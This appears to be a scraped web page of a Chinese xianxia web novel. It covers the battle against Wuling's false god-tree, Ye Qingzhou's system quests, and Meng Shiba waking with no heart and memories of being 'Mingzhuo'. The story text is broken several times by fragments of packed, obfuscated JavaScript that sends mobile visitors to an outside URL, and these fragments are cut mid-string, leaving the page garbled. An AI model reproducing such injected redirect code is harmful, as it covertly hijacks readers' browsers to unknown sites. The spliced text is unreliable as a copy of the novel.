d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169219|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后由神使调解,矿工若不愿认错,则被罚三月俸禄。 矿工三个月的俸禄,不过是武陵人手上抛出的一串铜钱,可对于一些人,那是压垮生命的最后一根稻草。 “你以为,他们是被武陵劫持走的?” “可他们每一个人,都是心甘情愿,敲响了武陵的门。” 神使迈步走向那位摊贩,孟十八想起她在刘慈屋内看到的画像,金狮会的老大为每个人画像记名,她说这样至少留住了他们存在的证明。 而现在这位在画像上目光坚毅的男子成为了恍惚微笑的摊贩,他的目光呆滞地追随着每一个前来的行人,也落在神使与孟十八身上。 “神使大人,”他双手合十,颂道:“神佑武陵。” “他现在难道不幸福吗?”神使轻声道:“没有痛苦,没有生存的威胁,他得到了平静。” 那怜悯又慈悲的目光又落回孟十八身上,神使说:“你怎么会不明白呢?” “这不也是你的愿望吗?” “■■” “闭嘴。”孟十八握紧了手中的剑,她的目光比火更烈。 她在愤怒。 “你们,凭什么自以为是?” “夺取他们幸福的,是战争,是凡人的朝廷,他们应该做的,是反抗,是揭竿而起,而不是逃避!” “你们自诩仁慈,却做不到一视同仁,对待不服从的人们,就将他们通通流放!你们的做法,和凡间的皇帝,又有什么区别?” “让他们无地容身的,明明也是你们!若非你们对待他们如牛马,他们怎么会被逼入绝境!” “你自以为宽厚,接纳了他——那我问你,他的母亲,他的妻儿,他的家人,又是谁在照顾?是你们伪善的武陵吗?他当时求你们的时候,只求了自己的长生吗?” “你不是神使,它也不是神树,你们不过是徒有力量,妄自称神的邪物。”孟十八再次拔剑,“你以为,我前尘尽忘,又是魔修,就能理解你们踩踏性命、玩弄人心的举动吗?” “做梦!” 相思楼主曾说她不适合当杀手,他说杀手应当更冷静,更理性。 孟十八以为沉默寡言干脆利落就叫冷静,如今方觉,原来他说的并不是行为。 而是她拔剑的理由。 她在愤怒,她的愤怒如烈火燃烧,要烧尽这虚假的一切才能弥平。 她在为树心被困五十年的许怀清愤怒,她在为挣不脱鬼村束缚的许方沐愤怒,她在为累累伤痕的刘慈愤怒,她在为被抛弃的人而愤怒,她在为几次三番都被困入救母幻境的自己愤怒。 窥探内心,妄造幻境;许以幸福,实则白骨;吸食他人,反以为荣。 “不管你是魔是仙,今日,我必杀之!” 利刃出鞘,魔气轰然爆发,震碎了孟十八身上的铃铛。 * 百里之外,灵矿。 一阵巨大的轰鸣铺天盖地袭来,叶轻舟踉跄一步,捂住怦怦乱跳的心口,目眦欲裂。 ——铃铛,碎了。 与此同时,系统也叮叮当当响起来。 【区域任务:何为桃源,最后阶段已开启】 【主线任务:追寻久远遗失之音,进行中】 “叶师弟!”玉云英的声音从传讯符里急急传来,“武陵爆发了剧烈的魔气!” “树心——我会攻下!” “我知道……”叶轻舟深呼一口气,强迫自己冷静下来,他攥紧手里的碎片,好像这样还能留住什么。 刘慈已经起身召集人手应战。 他有自己的战场,他还有未尽的事情,他绝不会成为她的拖累。 叶轻舟瞬移至矿洞,手握灵符。 “就现在,炸矿!” 他不会成为她的拖累。 永远不会。 他没有注意到,系统面板上弹出一条通知: 【已检测到万魂幡碎片】 12. 武陵桃源(9) 爆炸声起,滚滚硝烟,大地震动。 神树的禁制在松动。 许方沐飞奔起来。 他似乎已经忘了御剑,忘了仙术,他再一次砍向重重荆棘,再一次砍下累累藤蔓。 这条路他走了五十年,在梦里,在幻境里。 但这一次是真的。 他恨了五十年,等了五十年,跑了五十年。 呼啸的风灌入他的喉咙,带着不详的血腥味,也奏响了他手中嗡鸣不止的剑。 他终于跑到路的尽头,他终于见到那个人,本是一双的对剑在五十年后终于重逢。 “许怀清……” 五十年前她站在那里,想以一己之力带他们离开。 五十年前她留在这里,自愿驻守树心,为后人指路。 五十年后她依旧在战斗,为她,为他,为所有的一切。 而这一次,他终于可以站在她身边,与她一起。 “你来了。” “是,”许方沐心有千言万语,最终只带笑化为一句:“我来了。” 少年有宝剑,剑鸣山岗。 肩背相撞,双剑齐鸣,五十年前想在大比上一鸣惊人的剑法,在五十年后,终于问世而出。 这里是武陵,这里是剑宗,这里是他们的战场。 许怀清剑势飘逸,翩若惊鸿,许方沐步伐多变,婉若游龙,二人如一人,双剑似一剑,竟是让那些巨物藤蔓无处可逃,在灿若光华的剑芒下化为灰烬。 “姐,”许方沐又斩下一剑,低声道:“对不起。” 如果他没有惹出事端,他们就不会借道武陵,如果没有…… “许方沐,我们是修士。”许怀清没有看他,“护佑苍生,是我们修行的初衷。” 少年有剑心,心祐四方。 许方沐浑身一震,昔日夫子师尊教导的话从未如此清晰地回荡在他耳边。 剑宗弟子,为何执剑,为何拔剑? 他挥剑,斩断的是神树构建的织网,也是他心中横生的心魔。 我没有忘,我不会忘。 无需言语,许方沐脚踏七星,许怀清剑指八方,人剑合一,正是剑宗绝式 ——飒沓流星! 刹那间,天降剑雨,地生剑阵,那遮云蔽日的树冠在万千剑气下被撕出一道裂缝。 属于人间的,真实的阳光,在五十年后, 终于落回他们身上。 许方沐扶住许怀清摇摇欲坠的身体,语气坚定: “这一次,换我来保护你了。” “姐姐。” * 神树的禁制在松动。 叶轻舟将最后一批看守人员带到安全区。 神树的攻击从未停下。 小周一次又一次布下阵法,保护矿工平民们不被破土而出的藤蔓们伤害。 只剩最后一个地方了。 他按在地上,能听到手下鼓动的心跳。 这是祂的心脏,祂的力量源泉。 无数年来,神树就是通过此地吸食灵力,构建虚假的世外桃源。 他只有一次机会,这个不断吸食灵力的阵眼,会经历任何攻击后自愈,生出更坚固的护甲。而叶轻舟手上的能源,只够撕开一秒的空隙。 “你有存档吗?”叶轻舟半开玩笑式的问系统。 他没有指望系统会回答,话音落下的瞬间,他已经燃起指间火雷双符,直击阵眼。 雷霆乍破,烈火滚过,阵眼通人性般发出尖锐刺耳的咆哮,叶轻舟眼都未眨,瞬间燃起另一道符纸,身后阵法顿开,一只无形的手从阵法中心探出,一枚魔气萦绕的法器被迅速嵌进祂的心脏。 那是一滴落入热油中的水。 山崩地裂,天地咆哮。 武陵城结界,破! * “你看见了吗?” 孟十八的剑再次穿过祂的心脏。 这不是她第一次杀死祂。 祂的声音如鬼魅般缠绕在她耳边,非男非女,非老非少。 祂的脸一次又一次地改变,是酒楼的伙计,是路边的摊贩,是嬉闹的儿童,每一个人都微笑又悲伤地看着孟十八,问着同一个问题: “为什么要杀我?” “你不是要拯救我吗?” 她再次挥剑,二人的剑招步数越来越相近,一招未完,已经算出下一招的方向。 挥剑,格挡,攻击,再一次挥剑。 那张脸变成了那个被洗去记忆的矿工。 “为什么……我不愿意……” “那样的日子……我不要过……” 那张脸变成了吴仁德。 “我凭什么要和他们一样!” “我不愿意!我不愿意!” “为什么!为什么过苦日子的是我!” “为什么!为什么!” 孟十八凝神不退,振臂一挥,万道魔气从剑中爆发,生生将神树本体震碎泰半。 武陵城早已没了安宁,每个人如行尸走肉,麻木地围绕着神树,围绕着孟十八,他们的眼神空洞无物,他们嘴里说着同一句话。 “为什么?” 为什么要打破武陵的三六九等,为什么要帮助低贱的矿工,为什么要打碎他们的幸福?为什么?为什么! 他们是自愿的,他们心甘情愿献上了自己,他们愿意做神树的奴仆,只要他们能得到安宁,得到幸福,哪怕是虚假的,也好过真实的惨剧。 他们牺牲的不过是不值一提的蝼蚁,他们压迫的不过是渎神背弃的矿工佃奴,那些人生来低贱,注定一生贫苦,供养他们。 祂站在他们中间,模糊的脸慈悲又怜悯地看向她。 “你要杀了他们吗?” “杀了这些与你为敌的人。” “再构建你的世界,你的正确。” “你的行为,与我,又有什么区别?” 排除异己,清除杂音,构建一个你认可的,美好的世界。 这就是祂创立武陵的初衷。 不,孟十八心里那个空洞又在咆哮,空白的记忆与杀手的本能撕扯着她。 她抬起脸,漆黑的眼眸染上嗜血的红。 “我要杀的人,只有一个。” 她握紧剑。 “杀了你,他们才能自由地选择。” “选择,如何为人!” 此时,天际炸响惊雷,完美无缺的神像脸上,剥离下无法愈合的伤疤,祂的表情停顿了一瞬,仿佛生机被抽离,只余空壳。 孟十八知道,叶轻舟兑现了他的承诺。 现在,轮到她了。 * “叶大哥!你快醒醒!” “叶大哥——十八姐还在等你!” “叶大哥——” 叶轻舟隐约听到声音,有人在喊他,十八……对,孟十八怎么样了? 他努力睁开眼,映出吴夏吴冬关切的眼神。 “叶大哥,你终于醒了!”吴冬跳起来,“你昏迷了好久!我们好不容易才找到你!” 叶轻舟撑起身,没注意到自己脸上耳边都是道道血印。 “炸成功了吗?”他急切问道、 “成功了!还有那棵树,它也碎掉了!” 叶轻舟这才松了口气,从怀里拿出药一股脑吞进肚子,感受到几分劫后余生的滋味。 “十八她,十八娘如何了?” 已经喊得口干舌燥的小孩们摇头,“还在武陵,听其他人说,还在打。” 叶轻舟定了定神,心意已决道:“我先带你们回去。” 刘慈正站在地图前和玉云英分析战况,见叶轻舟带着吴家小姐弟出现,她也没表现出过多的惊讶,“还能打吗?” “能。”叶轻舟点了点头,“我已经服用过丹药,没有大碍。” 他又问:“前线战况如何?十八娘现在怎么样?” 玉云英知他心急,挑了重点道:“十八娘已经炸开神树本体,只是现在魔气爆发,所到之处,寸草不生。” “还有那些武陵居民,也参与其中,”刘慈一拳砸向地图中心,恨恨道:“打不得,杀不得,更何况……”她攥紧拳,“有很多,是我们曾经的亲人。” “让我去,”叶轻舟不假思索,“我修符阵,可以想办法隔绝他们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169220|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他一定要去孟十八身边,不为任务,不为系统。 只为这一刻狂跳不已的心。 * 一剑之后,孟十八看见祂的脸。 那是一张很眼熟,但她一时想不起在哪见过的脸。 祂的人身不过十七八岁少年,头扎双髻,垂下桃粉色流苏,腰间还坠着一块桃花形的玉佩,一双无情悲悯的眼,一只白如玉,握着桃枝的手。 “你来了。” 祂说。 “你要与我为敌吗?” 无数个声音在说。 “看着我。” 祂凑得那么近,身边带着淡淡的花香。 “我们明明在想同样的事。” 桃枝挑过锋刃,不像打斗,更似舞蹈。 “闭嘴。”孟十八咬住舌尖保持一点清明,她不能在这倒下,只差一点,只差一点她就能斩碎这个自以为是的东西。 少年果真停下来,祂全然不在意孟十八的进攻,一只手抚上杀手的脸颊,温柔又熟悉。 “杀了我,就真的能结束吗?” “他们是自愿的,是他们向我许愿的,我只是在回应他们,你知道吗?我没有引诱他们,我只是在回应他们的愿望。” 祂在解释。 “即使没有我,他们也会去信仰别的存在,那些东西不会比我更好。” “闭嘴!” 孟十八猛然一击,二人再次缠斗起来。 一人剑带杀气,招招毙命,一人如风拂花,式式留情。 “你根本没有理由阻止我。” “你不爱他们,你也不在乎,他们不过是萍水相逢。” “你只是讨厌我。” “你讨厌我,只是因为我用那些幻觉惹你生气了,是吗?” 祂说的那么小心翼翼,眼尾一颗小痣都挑起三分委屈。 “■■……”祂喃喃呼唤着,“承认我,承认我呀。” 我做的这一切,都是因为你啊,是你教我的: 是你希望人间大同,又说凡事皆有代价。 又是一剑。 孟十八此刻全凭本能而行,猩红的血染艳桃花,更照出她决然的神情。 而少年只是轻轻抬起桃枝一挡。 剑,断了。 那把削铁如泥的,斩下无数性命的宝剑,断了。 少年退后两步,祂看上去比孟十八更不可思议,“断了?为什么会断?” 孟十八没有松开剑柄,她已退无可退。 祂的笑容不再悲悯,慈悲也被撕成炽热的兴奋。 “是你……是你变弱了,你不再是■■……哈哈哈……原来如此!” “你什么都没有,你根本一无所有!” “你拿什么来赢我!” 那些柔情似水的假面从祂脸上脱落,那些甜言蜜语都化作雷霆重压。 “既然如此,就该轮到我了——!” “你的一切,都该归我了!” 嘭然间,神树核心爆发出剧烈的白光,一道非仙非魔的庞然之气自少年手中压下。 在神树下,原本呆滞的武陵居民轰隆跪下,原先纠缠打斗的金狮会成员被压得抬不起头,几个苦苦相撑的修士勉强立剑不跪,正在布阵的叶轻舟抬起头,徒劳无用地送去一道护身符,心中只悔为何手中无剑助她。 那是天地磅礴对蝼蚁众生的一掌。 孟十八被困于中心,她仰起头,眼眸里倒映出风暴漩涡,倒映出少年同样面无表情的脸。 她松开手,断剑落地。 她已手无寸铁,注定丧命,偏偏面色依旧沉静如水。 她是飘渺天地中的一粟。 胸口滚烫,身形自动,她跃至半空,漆黑如墨的眼里显出金芒。 她是浩瀚三界下的无穷。 她振臂,竟以一人之力,抗下雷霆万钧。 万籁寂静。 唯有她的轻喝,是唯一的声音。 “剑来!” 剑鸣清越,破云而来,一击,碎苍穹。 没有人认识这把剑。 因为它已经沉寂了整整五百年! 13. 武陵桃源(10) 剑长三尺二寸,通体白玉,无风自鸣。 这是孟十八第一次见到它。 这也是孟十八与它的重逢。 她握住剑,像在天地失色的巨压前,裁下一段月光。 那么轻,那么亮。 人如剑,剑似月,而月亮在拨开的乌云背后。 风暴散去,威压不再,人们再次抬起头,看见的是悬于天际的孤月,与执剑而立的人。 “不可能……这不可能!”祂的脸变得扭曲,原先在身边簌簌而开的桃花片片凋零,“你怎么可能——这是,这可是神的力量!” 祂咆哮着,全无往日自诩“神”的优雅。 “现在,”孟十八横剑在前,“轮到我了。” 不是仙术,亦非魔武,孟十八身为杀手,追求的不是功力极致,而是生死一线。 所以,她挥出的剑,一定会染血。 “呃!” 祂不可思议地低头看向自己的胸口,那把剑捅穿了祂的胸膛,将祂钉在树干上。 她是怎么做到的?她是什么时候做到的? 为什么,明明她已经不是…… 一剑,贯穿核心。 她听见了。 无数声音在她耳边炸开,数千年来祂的记忆尽数灌入她的脑海。 是新生的第一声哭泣,死前最后的呢喃,是绝望的哀嚎,是充满欲望的渴求。 “轰隆隆——” 核心破裂,大地震动,祂用尽全力反扑。 “你为什么不明白!你为什么不懂!” “是你说凡事皆有代价!这就是他们的代价!” “一群蝼蚁而已!” 祂的人形已经维持不住,手臂异化为刃,同样穿过孟十八的胸膛。 地面上,众人与更加狂暴的藤蔓搏斗,陷入苦战。 半空中,孟十八神色不改,手中染血的白玉剑光芒更甚。 “这就是你的代价。” “你不能杀我……你不能杀我,我做这些都是因为你,你不能……”生命在渐渐消散,已经习惯万人供奉的存在如何能忍受这一切。 “与我何干。”孟十八看向祂逐渐消散的身体,看向即将彻底碎裂的核心。 她面上不显,实则已经头痛欲裂,整副骨头都如泡在岩浆里折磨。 孟十八又看到了她。 那个女孩,站在树下,孤独又迷茫地与她对望,开口问她: “你见过我妈妈吗?” 那不是幻觉,那是记忆,那是—— “咔。” 没有惊天动地,没有粉身碎骨,一截断裂的桃枝从空中落下,化为尘埃,埋入土地。 统治武陵上百年的神树,就此,终结。 【区域任务:何为桃源,已完成】 【主线任务:追寻久远遗失之音,进行中】 【任务奖励发放中】 【新功能已开启】 叮叮当当接连响起的提示音唤回他的神智,叶轻舟无暇他顾,急忙飞到孟十八身边。 “你……” 话音未落,他对上孟十八的眼睛。 他读懂了那双眼睛的未尽之意。 “我知道了。” 叶轻舟轻声说,同时伸出手,稳稳地接住了她将要倒下的身体。 一道光转瞬而过,原地已不见二人踪迹。 夜深露重,街上只见得寥寥几盏灯笼。 医馆里坐堂的伙计本已经点着脑袋去会周公,没想到“哐当”一声,大门直接被撞开,一位青年背着人,急切道:“大夫在哪?” 习惯被吵醒的柴大夫披上外衣走到外堂,屋里灯火一照,躺着的青年眉目安详,一身黑衣上已经数不清有多少伤口。 她顺带让伙计泡点药茶安抚站着的那位,自己前去搭脉诊断。 叶轻舟捧着瓷碗,见大夫忽而皱眉,忽而凝神,自己一颗心脏砰砰狂跳,恨不得从嗓子眼里蹦出去,“大夫,这伤是不是……” 柴大夫摇摇头,吩咐伙计去准备药材,“外伤虽多但浅,不是难事。” 叶轻舟急忙道:“浅?那么严重的伤,会不会伤到心脏?” “会不会有内伤?后遗症?” 柴大夫略带惊异地看向他,说道: “这位姑娘,她胸中,无心。” 人无心,如何活。 啪嗒一声,碎片砸地,叶轻舟低头,才发现自己手中的碗已成碎片,渗入点点血迹。 * 孟十八成为了湖中倒影。 粉衣杏裙的少年垂眸望着她。 她不叫孟十八,她有一个更好听的名字,是她师尊为她所取。 明灼。 雪衣白发的男人如此唤她。 在她失去母亲,失去一切的时候,仙人看见了她,握住了她的手。 “从此以后,我便是你的师尊。” “而你,也会有一个新的名字。” “明灼。” 师尊无疑是爱她的,教她识字明理,教她习武练剑。 只是…… 明灼回眸,撞入那双奇异的眼中。 即使她已经跑到离大殿最远的地方,与他而言,不过咫尺。 师尊仙风道骨,在他面前,明灼总是习惯性低头,“师尊,我在想您布置的功课。” 朝菌不知晦朔,蟪蛄不知春秋。明灼亦无法想象自己不曾踏足的人间是何模样,师尊所问的人间大道,又是什么。 “你在怪师尊不带你去见识红尘,是不是?” 师尊的声音如珠落玉盘,他的唇边含着一缕笑,未及眼底。 “明灼,你可知我真正要你领悟的,是代价二字。” “俗人愚昧,将鱼目与珍珠同价,鹤立鸡群,反倒是白鹤遭到排挤。你天赋凛然,却道心未成,若有闪失,你以后,如何寻找你母亲的下落?” 那双白玉般的手轻轻拂过她的头顶,为她抿去碎发。 “你向来明辨是非,何尝不明白?” 那声叹息消失在风里,明灼抬起头,甚至看不见他的衣角。 是啊,她何尝不明白。 这么多年来,她的每一次询问,每一次试探,都指向同一个答案:是她不懂事,是她不听话,是她不理解师尊的苦心,是她不够强,挡不下师尊的一击,换不来师尊正视的一眼。 凡事皆有代价。 为了寻找母亲,她拜入师门,那么现在她也该舍去杂念,留在这里。 明灼再次看向湖中的倒影,手中化出一截桃枝。 这是她的剑。 藏书阁剑法三千,她过目不忘;剑冢万剑齐响,皆与她亲近。 可她至今没有一把属于自己的剑,只因师尊所言,她技艺不精,无法驾驭。 于是她以最普通的桃枝为剑,在终年覆雪的山脉间舞出一点红。 师尊说,她心不静。 于是她在玄冰上修行,在空茫绝迹的山巅上习武,只有凌冽寒风见过,在一剑化三千的背后,映出多少次的失败。 即使这样,她依旧不够强,她依旧挡不住师尊的一招。 “你拿什么去救你的母亲。” “为了找到你的母亲,你只能走到这一步吗?” 不是,不是这样的。 明灼的剑越来越快,越来越急,湖面上荡起涟漪,切割出无数个相似又不同的倒影。 我可以付出代价,付出我的一切。 只要我能够找到我的母亲…… “付出什么都可以。” 手中的桃枝再也撑不住强大的灵力,徒然断裂。 它坠入沉潭,落入人间。 * 孟十八在温暖又浅淡的药草香中醒来。 恍惚间她还在终年不化的雪山之巅,练习着刻入本能的剑术。 那是她的过去吗? 名为明灼的少年有着和她一模一样的面容。 又或者那是另一出幻觉。 因为神树的化身,有着同样的打扮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【检测资料卡,孟君时,神尊,已陨落】 叶轻舟不想和系统聊天,耐着性子把原著通读了一遍。 原著《神魔》以世家公子燕南陵为主角,讲述这位天才少年如何修炼升级,组队打怪,一举成名,成为仙门翘首,又在人间历练,民心追随,功德无量,在此期间,一直与魔界斗智斗勇,多次挫败妖魔阴谋。最终,他与复活的魔尊孟危在天梯之上大战十余章,诛杀魔头,一统仙、人、魔三界,成为了孟君时后的第二任三界神尊,并且大开仙路,让他一众亲友也飞升得道。 是的,叶轻舟最不想吐槽的就是这个,其实现在的仙界不是仙界,而是修仙界,当年魔尊孟危斩断天梯,也是斩断了三界的飞升可能,拉满仇恨值。 一想到在这百万余字的小说里,自己扮演着一个勤勤恳恳复活魔尊的杂兵,叶轻舟真觉得这日子越过越有盼头,要不是孟危实在邪恶魔头,他都想先去找燕南陵谈谈。 毕竟孟十八召唤的那把白玉剑,可是小说中男主获得的神剑之一,玉龙。 叶轻舟看到这段时有种微妙的不爽,孟十八召唤这把剑的时候他就在下面看着,那叫一个天地失色日月无光。可是这男主找到神剑的时候怎么就是秘境悬崖山洞三件套,不告而取谓之窃,他愤愤然,一点气势也没有。 “你那把剑,后来又消失了。”他对孟十八道:“不过断剑在我这,仙盟不会查到的。” “无妨。”对前者,孟十八怀疑与自己记忆有关,对后者,剑断了就是断了,换一把新的便是。 “我身上伤已无碍,”叶轻舟没来得及反对,孟十八接着道:“先回相思楼。” 叶轻舟这才放心,“好,我先去找大夫来。” 孟十八点点头,等他离开后,才缓缓伸开手。 黑布红线,边缘粗糙,无声无息地出现在她手中。 她没有再感受到虚无,而是看见和梦里一样的雪山。 凑近听,还能听见疾驰的风,与少年的叹息。 ——这是另一块,万魂幡碎片。 14. 间章 孟十八仍然记得自己第一次接触万魂幡碎片的感觉。 熟悉但空茫的虚无。 她被拒绝了。 但为什么,这一次,她看向新得的碎片,眼中晦暗不明。 魂幡中的记忆都是来自被吞噬的魂魄,无法转世。纵然名为明灼的少年与她相貌相同,也不可能是所谓前世今生。 但熟悉感又为何而来? 她是明灼吗? 她为什么会召唤出那把剑? 还有,她的目光落在合拢的房门,叶轻舟当时感应到的记忆,是明灼吗? 敲门声恰到好处传来,孟十八将两块万魂幡碎片收到一起。 叶轻舟离开的时候是一个人,回来的时候却是三个。 孟十八没想到玉云英居然会来,对着叶轻舟眼神示意,对方挤眉弄眼朝她比划,还没对上几句,就被柴大夫请到屋外。 柴大夫看上去不过三十,孟十八暗中灵力试探,发现她灵气杂乱,介于凡人与修士之间。 “还有哪里疼?”柴大夫坐到边上,“手伸出来。” 温暖又干燥的手指搭在她的脉搏上,孟十八不自觉屏住呼吸,两只眼睛盯着对方的指甲在自己的皮肤上留下浅浅的月牙。 以前受伤就是吃药包扎,她从没有这样的体验。 “放松些,头晕无力是正常状况。”柴大夫见她摇头,语气放轻了些,“你知道自己没有心吗?” 孟十八点头。 无心之人,不死之躯。 对于杀手来说,这是很方便的身体。 缺少一个敌人制胜的威胁,多了一个旁人没有的优势,还不会影响自己的日常生活,可谓一举多得。 柴大夫见她神情自若,并未被这种奇异怪象困扰,也不再多说,只道她恢复的不错,又写下新的药方,嘱咐道:“不要情绪激动,养神养息。” 叶轻舟自然跟着去抓药,玉云英走进屋内,握着手好一阵打量,眼角湿润,道:“十八娘,你受苦了。” 孟十八着实应付不来这样的场面,她宁愿玉云英问些关于武陵的事,也好过她眼泪未落,自己的手倒是先抽出帕子替她拭去。 “你怎么,”她难得卡壳,“你怎么来了?” 玉云英接过帕子,含嗔带怒地看了她一眼,“你和叶师弟当时突然离开,我就猜到你的情况不好。若不是武陵之事还未尘埃落定,许家姐弟和刘慈她们也是要来看望你的。” “她们……还好吗?” 玉云英叹了一声,都在病床上躺着呢。“多亏有你,那一掌若是真劈下来,恐怕方圆百里都会殃及。” 她又道:“不过你放心,那把剑只有我与叶师弟看到,我没有告诉仙盟。” “只是,”那双比春水更温柔的眼睛望向孟十八,“我现在,是该唤你一声十八娘,还是……” 叶轻舟拜托她时支支吾吾,玉云英哪里猜不出他的意图。孟十八剑法超绝,灵力深厚,与神树对决时,玉云英就在前线,怎么看不出魔气来源。 身为仙门修士,她本该劝师弟回头是岸,但在武陵几日相处下来,孟十八与她所知的魔修作风大不相同,沉默寡言的皮囊下,是一个会为苍生拔剑的灵魂。 “孟十八,我的确叫这个名字。”孟十八知道自己身份败露,坦然道:“叶轻舟与我是搭档,是我要他隐瞒消息。” 玉云英拍了拍她的手,“那我以后还叫你十八妹,你若是愿意,叫我一声姐姐也是使得。” “只不过……” “我师尊亦传信于我,说武陵当时出现了昆仑灵气。”玉云英面带犹豫,“也不知他指的是什么……” “昆仑?” “非仙非魔,至纯至粹。”玉云英为她解释:“几千年前神尊飞升后,居于昆仑,开宗立派。后来神尊陨落,昆仑断绝。” 玉云英的师尊出生于玄明孟家,自诩昆仑后裔,千百年来一直苦寻方法而不解。 只是,玉云英没有说出口,无论是神树的那一掌,还是孟十八的那一剑,都非仙术魔武。 孟十八闻言一怔,旁人不知,她自己明白,召唤玉龙剑,是身体优先于大脑,下意识的反应。 那把剑不属于现在的孟十八,或许属于过去的明灼。 明灼,会是昆仑的人吗? 她的来路,莫非是更久远以前的仙界? “昆仑,为何断绝?” “五百年前,魔尊孟危烧昆仑、斩天梯,昆仑千年根基,毁于一旦。” 孟危、万魂幡、明灼。 她孟十八,又为何会对此有熟悉感? 见孟十八神情凝重,玉云英忙岔开话题,关心她的身体情况。 孟十八知她好意,句句以实作答。 “叩叩。” 两声敲门,吱呀一推。 叶轻舟笑眯眯地在门口挥手,“师姐,我们还是先别打扰十八娘了。” 他眨了眨眼,变戏法似地一打响指,孟十八的床头凭空出现一个食盒,“好几天没吃饭了,多吃点补补。” 孟十八一掀食盒,扑面而来满是食物的香气,仔细一看还都是些自己爱吃的。 抬头去看,叶轻舟冲她笑了笑,又连说带哄地劝玉云英过几日再来探望,一阵笑闹后,屋内只剩下孟十八一人,与淡淡的烟火气。 叶轻舟面上笑着说要请师姐师妹们吃饭庆祝度过难关,实则心里七上八下,恨不得现在回去问孟十八用餐体验。 至少别太讨厌放了草药的汤,他在心里碎碎念,系统你果然不靠谱,要你提供食谱都没有。 【食谱可以在书铺购买】 惯常性掉线的系统悠悠回复。 【主线任务:追寻久远遗失之音已完成】 突如其来的结算音可把人吓一跳,叶轻舟莫名其妙看着一堆材料进入了自己的储物袋,先问道: “没有豪华大礼?” 【豪华大礼:用户可进行一次幸运抽奖】 叶轻舟选择屏蔽系统,大步走上前继续和玉云英讨论中午吃什么。 开玩笑,还抽奖? ——当然是要天时地利才能动手啊。 【恭喜用户获得:我将发动一次伤害力极强的攻击x1】 【有效期:即本日起一月】 叶轻舟彻底无语了。 他专门等吃完午饭回到医馆,站在孟十八门前抽奖,怎么就抽出个这么莫名其妙的东西,还有时间限制? “我能拿这个攻击你吗。”他咬牙切齿地心里骂系统。 答案当然是不能。 “叶轻舟?你怎么在这?” 孟十八略有奇怪地看了他一眼。 用完饭后,她本想借着还食盒的契机出门走走。谁知叶轻舟站在门口宛如门神,脸上表情精彩纷呈。 “呃,我……我来问问你中午吃饱了没?” 叶轻舟本来有一肚子话要说,被莫名其妙的抽奖一砸,语言系统原地退化。 “嗯,还不错。” 不错就好不错就好,他没厨艺退步。 “你现在没事了?” “明天就可以走。” “不行!”他连忙道:“我不是反对你,只是你的伤……”他虽问了大夫还是不放心,这世上哪有天生无心的人,说不定是孟十八以前遭过什么劫难…… “你是说我无心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169222|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的症状。”孟十八读懂他脸上的纠结,初春的阳光倾洒在她身上,暖化了她的语气,“我一直如此,并无大碍。” “哦……哦。”叶轻舟愣愣应声,“那,武陵那里……” 他是从未见过吗?魔界没有太阳,自然也不会看见身披阳光的孟十八,站在晒满药草的医馆后院里,在清浅的药草香里,镀上一层碎金。 或许她就应该站在阳光下。明明见惯了来去无影的杀手,可此刻,叶轻舟却由衷地觉得,比起凄清的月,孟十八更适合明烈的日光。 说些什么,他的大脑莫名罢工,嘴巴张合吐不出音节。 说些什么,打破这个静默的氛围,他下意识想离她更近。 “武陵怎么了。”孟十八以为他被太阳晃了眼,侧身遮挡些许,又问了一遍。 更亮了。 叶轻舟强迫自己移开视线,慢慢回神道:“师姐希望我回去帮忙。” 玉云英私下和他说,他们在事后统计人数时发现了怪事。 武陵城原先没有生老病死,是因为神树将老人流放到灵矿,死后由矿工们收殓安葬。之前牺牲的修士们则葬在鬼村,都有标记。 武陵结界被破后,青山派长老带数人前来,他们作为最初的受害者,生要见人,死要见尸。 “……没有尸体,一具也没有。”玉云英神情凝重道:“许方沐特意确认过,上月因病去世的剑宗修士,也尸骨无存,棺材被破坏。” “有没有可能是与神树作战时被损坏?” “棺材被损,或许是这个原因,可整座武陵地下,连具白骨都无。” “更何况,仙盟使者用法器回溯,也没有头绪。” “……情况就是这样,”叶轻舟挑了重点告诉孟十八,“尸体凭空消失,我去也是死马当活马医。” 孟十八闻言若有所思,“你想用魔界的法子试试。” 魔界杀人灭口惯了,自然有不少毁尸灭迹的方法,叶轻舟更是其中行家。 “我……”叶轻舟倒是想说自己用的都是科学理论与正道仙术,但讨论这个总显得奇怪,毕竟这些东西他也天天用在搬运尸体上。 “会不会他们的尸体也被运走了?”叶轻舟灵光一闪,“难不成武陵还有隐藏的魔界势力?” 孟十八不觉得,只是从未问过:“你以前都是转移到哪里?” 